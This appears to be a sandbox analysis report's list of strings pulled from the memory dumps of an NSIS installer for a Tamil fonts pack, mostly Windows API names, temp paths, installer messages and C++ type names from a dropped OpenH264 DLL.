Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

\Temp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

\UPw9LUa\AppData\Local\Temp\nsa2FE8.tmp\System.dll

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

_(Yvo76]

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

_\zm^W_l

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

`.rdata

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

a^WW]mm_al

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

AdjustTokenPrivileges

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

AdobeStock_39727445-300x200.jpeg

Unicode based on Runtime Data (eXe )

ADVAPI32

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

akV_~

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

Alloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

altorgheader.png

Unicode based on Runtime Data (eXe )

AppendMenuW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

BBBp;;;>

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

BeginPaint

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

bsJP2

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

%USERPROFILE%\AppData

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%APPDATA%\eXe

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%LOCALAPPDATA%\Temp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\nsa2FE8.tmp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

%TEMP%\nsa2FE8.tmp\System.dll

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

callback%d

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

CallWindowProcW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CharNextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CharPrevW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CheckDlgButton

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

chEd20

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CloseClipboard

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

COMCTL32.dll

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CompareFileTime

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Control Panel\Desktop\ResourceLocale

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

CopyFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CoTaskMemFree

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateBrushIndirect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateDialogParamW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateFontIndirectW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreatePopupMenu

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateProcessW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

CreateWindowExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DefWindowProcW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DeleteFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DeleteObject

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DestroyWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DialogBoxParamW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DispatchMessageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

DrawTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ease wait while Setup is loading...

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

EFAULT\Control Panel\International

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

eInfo

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

elements.css

Unicode based on Runtime Data (eXe )

EmptyClipboard

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

EnableMenuItem

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

EnableWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

EndDialog

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

EndPaint

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

eOdoLIJ3dXslo72.mqsk

Unicode based on Runtime Data (eXe )

Error launching installer

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Error writing temporary file. Make sure your temp folder is valid.

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

ers\UPw9LUa\AppData\Local\Temp\nsa2FE8.tmp\System.dll

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

ExitWindowsEx

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ExpandEnvironmentStringsW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

FillRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

FindNextFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

FindWindowExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

galCopyright

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

gaVoxels voxelizer.lnk

Unicode based on Runtime Data (eXe )

GDI32.dll

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetClassInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetClientRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDC

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDeviceCaps

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDiskFreeSpaceExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

GetDiskFreeSpaceW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDlgItem

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetDlgItemTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetExitCodeProcess

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetMessagePos

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetModuleHandleW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetResource.ashx1951421995.css

Unicode based on Runtime Data (eXe )

GetShortPathNameW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSysColor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSystemDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSystemMenu

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetSystemMetrics

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetTempFileNameW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetTempPathW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetVersion

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetWindowLongW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetWindowRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GetWindowsDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalAlloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalFree

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalLock

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

GlobalSize

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

GlobalUnlock

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

hamizha-tamil-fonts-pack-1.0.exe

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

home-&-garden

Unicode based on Runtime Data (eXe )

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

ImageList_AddMasked

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ImageList_Create

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ImageList_Destroy

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

index.php1553594928.html

Unicode based on Runtime Data (eXe )

InitiateShutdownW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Insight

Unicode based on Runtime Data (eXe )

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

Int64Op

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

InvalidateRect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

IsWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

IsWindowEnabled

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

it20W

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

KERNEL32

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

LoadBitmapW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

LoadCursorW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

LoadImageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

LookupPrivilegeValueW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

LqM!

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

lstrcatW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcmpiA

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcmpiW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcmpW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcpyA

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcpynW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

lstrcpyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

MessageBoxIndirectW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

miZha Tamil Fonts Installer

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

MNv6a1sy Setup

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

MoveFileExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

MoveFileW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

mPJ)u

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

mPM)u

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

MS Shell Dlg

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

msctls_progress32

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

MulDiv

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

nav.css

Unicode based on Runtime Data (eXe )

nsa2FE8.tmp

Unicode based on Runtime Data (eXe )

NSIS Error

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

OleInitialize

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

OleUninitialize

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ommunity - thamizha.com

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

OpenClipboard

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

OpenProcessToken

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

PeekMessageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

pkimage.aspx1034050474.html

Unicode based on Runtime Data (eXe )

ProductVersion

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

ReadFile

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegDeleteKeyExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

RegDeleteKeyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegDeleteValueW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegEnumKeyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegEnumValueW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegisterClassW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ReleaseDC

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RemoveDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RichEd20

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

RichEd32

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

RichEdit

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

RichEdit20W

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

ScreenToClient

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SelectObject

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SendMessageTimeoutW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SendMessageW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SeShutdownPrivilege

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

SetBkColor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetBkMode

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetClassLongW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetClipboardData

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetCurrentDirectoryW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetCursor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetDlgItemTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetEnvironmentVariableW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetErrorMode

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetFileAttributesW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetFilePointer

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetFileTime

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetForegroundWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetTextColor

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetWindowLongW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetWindowPos

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SetWindowTextW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHAutoComplete

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

SHBrowseForFolderW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHELL32.dll

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

ShellExecuteW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHFileOperationW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHFOLDER

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

SHGetFileInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHGetFolderPathW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

SHGetPathFromIDListW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHGetSpecialFolderLocation

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

SHLWAPI

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

ShowWindow

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Sleep

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Software\Microsoft\Windows\CurrentVersion

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

staller integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Store

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

StrAlloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

sTreeView32

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

StringFromGUID2

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

SysListView32

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

SystemParametersInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

TrackPopupMenu

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

u@hL@

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Ua\AppData\Local\Temp\nsa2FE8.tmp

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

ukWWa

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

unpacking data: %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

verifying installer: %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

VirtualAlloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

VirtualFree

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

VirtualProtect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

WaitForSingleObject

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

WritePrivateProfileStringW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

wsprintfA

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

wsprintfW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

wwwwp

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

XL'&v

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

|<>/":

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

~lWa~

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

~nsu.tmp

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

-osint -url "%USERPROFILE%\Desktop\_HOWDO_text.html"

Ansi based on Process Commandline (firefox.exe)

Unicode based on Dropped File (gmpopenh264.dll.97104820)

- floating point support not loaded

Unicode based on Dropped File (gmpopenh264.dll.97104820)

!""##$$%%%&&&''''

Ansi based on Dropped File (gmpopenh264.dll.97104820)

!"$(&)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Base Class Array'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Base Class Descriptor at (

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Class Hierarchy Descriptor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Complete Object Locator'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

delete

Ansi based on Dropped File (gmpopenh264.dll.97104820)

delete[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

new[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Type Descriptor'

Ansi based on Dropped File (gmpopenh264.dll.97104820)

unexpected heap error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

#.X'=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

&'./)*+

Ansi based on Dropped File (gmpopenh264.dll.97104820)

,/,,//

Unicode based on Dropped File (gmpopenh264.dll.97104820)

- . /!0!1!2"3"4#5#6#7$8$9$:%;%<%=&>&>??CyrixInstead

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.=SunMonTueWedThuFriSat

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AUctype_base@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$_Iosb@H@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$codecvt@DDH@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$CSceneChangeDetection@VCSceneChangeDetectorScreen@WelsVP@@@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$CSceneChangeDetection@VCSceneChangeDetectorVideo@WelsVP@@@WelsVP@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$ctype@D@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_1@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@@ZPAV2@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_2@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@W4GMPVideoFrameType@@@ZPAV2@W43@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_3@PAVOpenH264VideoEncoder@@P81@AEXPAVGMPVideoi420Frame@@PAUSFrameBSInfo@@W4GMPVideoFrameType@@@ZPAV2@PAU3@W44@@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_4@PAVOpenH264VideoDecoder@@P81@AEXPAVGMPVideoEncodedFrame@@_NAAW4DECODING_STATE@@_J@ZPAV2@_NW43@_J@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$gmp_args_m_5@PAVOpenH264VideoDecoder@@P81@AEXPAVGMPVideoEncodedFrame@@PAUTagBufferInfo@@QAPAE_J_N@ZPAV2@PAU3@PAPAE_J_N@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV?$numpunct@D@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Generic_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Iostream_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_Locimp@locale@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AV_System_error_category@std@@

Ansi based on Dropped File (gmpopenh264.dll.97104820)

.?AVbad_alloc@std@@
